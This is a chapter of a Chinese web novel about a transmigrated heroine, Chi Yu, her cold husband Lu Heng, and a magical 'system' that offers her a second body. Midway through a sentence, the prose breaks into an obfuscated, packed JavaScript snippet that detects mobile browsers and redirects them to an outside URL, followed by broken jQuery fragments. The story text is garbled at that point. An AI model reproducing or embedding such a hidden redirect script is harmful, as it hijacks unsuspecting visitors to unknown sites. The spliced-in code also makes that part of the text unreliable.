3. 银簪诡录(3)

作品:《谁说他们琴瑟和鸣的?

    为了证明自己确实真的没事了,池玉硬是执意将爹娘送至了昭平侯府门口。


    兴许是这次事发突然,加之大夫也看不出缘由,池母连连拉着池玉的手交代许久。都是些早些歇息,注意饮食之类,生活上无关紧要的琐事。


    直到说着说着,本就哭了许久的池母又有些忍不住捏着帕子拭泪,池常旭才堪堪提出离开,“真是的,弄得这般伤感作甚,还是在人家门前。”


    说完他便看着站在自己面前的陆珩。


    从陆珩眼中,池常旭几乎看不出一丝他对池玉的喜爱。他起初就知道,陆珩这般人物是断不可能因为相处久了便爱上池玉。


    但总归是赐婚,昭平侯府后院也没什么乱七八糟的莺莺燕燕,而且今日一见,陆珩多少还是有好好对待池玉的。


    池玉能这般在昭平侯府安稳度过余生,他们便也满足了。


    陆珩见池常旭看着自己,几乎是瞬间便猜出来他的心思,下意识瞥了一眼被池母拉着手的池玉,又收了目光看向别处。


    池玉盯着两人一步三回头依依不舍上了马车,逐渐消失在街尽头,这才没继续站着,想想自己接下来要面对的,池玉忍不住叹了口气。


    是的,她就这么婴儿般的睡眠睡了一整晚。


    这么一伙人在她榻边就差放烟花了,她也没醒过来,也难怪他们会担心。


    “爹娘怎么知道我昏过去了。”池玉歪头看了看站在自己身侧的陆珩,纳闷开口问道。


    她爹连官服甚至都没换,想来是一下朝就跑来昭平侯府了。


    如此兴师动众其实让池玉有些难为情。


    “我也是要上朝的。”陆珩沉默片刻后吐出这么一句话,沉默片刻最后转身迈着步子打算离开。


    池玉了然。


    谷雨原先就站在二人身后,见陆珩一转身,立刻便吓得往旁边退了几步,最后挪着步子往池玉身后来。


    这倒是刚好被池玉看见了。


    她想不明白为何谷雨会这么畏惧陆珩和临风。但这个日后随时都能问,现在的当务之急是,趁热打铁追上去!


    昭平侯府的路以青砖为主,两侧铺着光滑卵石做缀,太湖石假山临于碧水,池中偶有锦鲤跃起,波光粼粼。


    “报德庙的卷宗我还能看么。”池玉抄起衣摆小跑着追了上去,为了能让陆珩不忽略自己,还特地走至他身前半步的位置。


    正午光线正盛,晃的她忍不住眯了眯眼。


    “好可惜,昨日送回大理寺了。”陆珩步履不停,面上却做出一副苦恼神色。


    “捉到鬼了?”池玉当即试探发问。


    不应该吧,她也就睡了一晚上,大理寺办案这么迅速?


    “卷宗放书房鬼会来自投罗网?”


    陆珩说到自投罗网四个字的时候,若有若无的瞥了眼池玉,看得池玉心里有些发毛。


    周边洒扫仆役见二人路过交谈皆是垂着头不敢言语。


    “池玉,大夫可是嘱咐不能过度操劳了。”陆珩长眉轻挑似笑非笑,清眸中映着池玉墨绿色的身影,左一句右一句这般看似不着边际的话却是将池玉的思绪瞬间搅乱了。


    池玉只觉这人莫名其妙,昨日还和和气气的,今日讲话便这般尖酸刻薄。


    陆珩说完便直接离开,不等池玉继续追问,留着她一人在原地,池玉见状只得是暗暗咬牙作罢。


    大早上的谁又惹他了。


    二人自成婚便没住在一个院,陆珩早早便差人单独给池玉收拾了一处院落住着,虽说都在内宅挨着也不远。


    但池玉这会脾气正上头,便特地挑了条捷径同陆珩分开走。


    也不知是他随手点的院子还是有刻意考虑过池玉的喜好,院子周边的布景同她在池府的几乎大差不差。


    “小,小姐?您别生侯爷气了。”谷雨小跑过来到池玉身后半步跟着,一会看看陆珩离开的方向,一会又探头看看池玉的脸色。


    虽说她不知道具体怎么了,但见二人方才剑拔弩张的气势便也猜出来了七八分。


    吵架了这是。


    “我哪敢,这可是昭平侯府,谁敢惹他堂堂昭平侯。”池玉越想越气,最后干脆气的踢了脚石道的鹅卵石,鹅卵石整个弹飞起来咕噜一下掉进旁边的水池中。


    她也是想不明白了,为什么陆珩会这么防着自己?


    自己还能是谁派来刺杀他的细作不成?


    哪有这么贴心的细作,刚闲下来就帮着干活。


    “小姐您别气了,侯爷他......昨日好像被小姐挠伤,现下可能还有些恼,过几日没准便好了。”谷雨咽了口唾沫才怯生生道。


    “哈?我干的?”池玉立刻停了下来,瞪圆了眼不可置信地指了指自己,“我怎么不知道,挠哪了?”


    合着现在回溯功能还增加了防御系统?


    谁靠近攻击谁?


    “颈上啊,小姐方才没发现吗?”谷雨指了指自己下颚往右下的位置,大概比划了个长度。


    池玉仔细回想了一番,但她一早上都沉浸在和爹娘的叙旧之中,几乎没怎么关注陆珩,故而也想不起来什么。


    但这也不是陆珩生气的理由吧,梦游也不是她能控制的啊。


    难道还有其他事情?


    “还有别的反常的事吗?”池玉拧着眉,追问谷雨。


    总觉得有种不好的预感。


    “有的有的,奴婢还以为您知道呢,侯爷原先还听大夫的话,在屋内守着小姐,但是小姐骤然说什么干活补偿,侯爷听见后就喊了两个丫鬟来替,自己回书房去了。”


    谷雨见池玉什么也不记得,像是下定决心般一股脑全说了出来。


    谷雨昨夜见陆珩将池玉抱回来还特地守着,还以为二人终于是要同话本那样感情增进了,谁曾想会变成这样。


    本以为早上池玉醒了解释一番,会是一阵卿卿我我你侬我侬的环节,结果反而变得更糟了。


    “小姐?”谷雨见池玉整个人面色又开始懊悔,试探性的唤了一句。


    “先回屋吧。”池玉宕机了一瞬,脑子里闪过去找陆珩的念头,但又不知找他该说些什么,思索半天还是选择先回去。


    肯定误会了。


    ……


    午膳过后,池玉趴在桌前,有一下没一下提笔在宣纸上描着屋外树叶透着阳光照下的影子边缘,忽而又烦躁起来,将整片叶子用墨点黑了。


    【重开,我要重开,好不容易有点进展,你这死系统害得我功亏一篑了。】池玉将笔随手放在笔船上,墨渍将笔船一脚瞬间染黑。


    池玉整个人往后靠在椅子上,摆烂似的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147197|180498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叹出一口气。


    以前回溯也不会攻击人和说梦话啊。


    这下好了,不仅差点给陆珩挠破相,还说那么让人误会的话,自己还火上浇油提了一嘴卷宗。


    这人本就喜怒无常还多疑。


    现在陆珩可不得以为自己是得了好处天天凑在他身边打探消息的。


    她倒也不是在乎陆珩。


    只是自己换身份也有一年多了,如今好说歹说看到些进展又前功尽弃了。


    而且日后保不齐这人怎么防着自己。


    【宿主,人家太久没用着这个功能惹。】系统话音未落,池玉便看见空中掉下个金元宝,好巧不巧压在自己桌前。


    金元宝安安稳稳立在那,斜透着光,在宣纸上拉着很长一条阴影。池玉见这个金元宝,又是气不打一处来,直接将元宝往桌角狠狠地推了一下。


    金元宝转了两圈后侧躺着恰好压在一片叶子上。


    【不要这个,我要换身份,能不能直接换成皇帝。】池玉揉了揉眉心。


    她也不愿再热脸贴冷屁股了。


    现在,她要直接把身份变成皇帝。


    小小陆珩,手拿把掐。


    【这个有点难度,现下身份直接死亡再删除的话,剧情会有大变动,要不给宿主再申请一个身份?】系统似乎昨晚就开始评估剧情,考虑如何补偿了。


    意识到这一点的池玉还是比较满意的,这系统让她干活好歹是有在尽心尽责的。


    虽说不能直接当皇帝她还是有些遗憾。


    【再申请一个身份?我能同时出现在两个地方吗?】池玉对这个补偿感兴趣了些,于是噌的一下坐直了起来,开始追问。


    【就是申个无身份的小角色,不用改变现下剧情,宿主当前身份沉睡时就可以选择操控另一个身体了,那个身体不使用时可以直接选择短暂消失或者沉睡状态。】系统耐心的解释道。


    池玉思索片刻,快速在脑中思考了这个新身份的可操作性。


    总感觉是个很强的补偿。


    【行,就这个,金元宝也留着再加200银两,而且你得保证,后续回溯不能再出现昨晚的情况了。】


    惹恼了陆珩没什么,左不过自己短时间在昭平侯府当个透明人再伺机而动。


    可若是哪天回溯嘴漏说了些季府和系统的事,被有心人听见,自己可不得被当妖怪捉起来烧死。


    【好的宿主~】系统像是终于松了口气,说完这句话后便无了音讯。


    池玉知道捣鼓这些要涉及修改现书逻辑,多多少少是要花费些时间的,故也没有再继续催促的意思。


    她现在得想个合适的理由参与这个案子。


    还未等池玉想明白怎么参与,便听叩门声响起,随后是谷雨轻手轻脚推开门,端着一碟子蛋黄酥回来了。


    因着闹了些矛盾,池玉午膳没吃几口,谷雨则找了机会吩咐了小厨房做了些糕点。


    见池玉还坐在桌前没动,谷雨快步走了过来,将蛋黄酥轻轻搁在桌上,玉碟扣在木桌上发出声脆响。


    “小姐,方才听小厨房说侯爷交代过几日不在府里用膳。”


    “从什么时候开始?今晚?”池玉正愁不知道怎么打探陆珩的行动路线,谷雨这就送上门来了。


    天无绝人之路。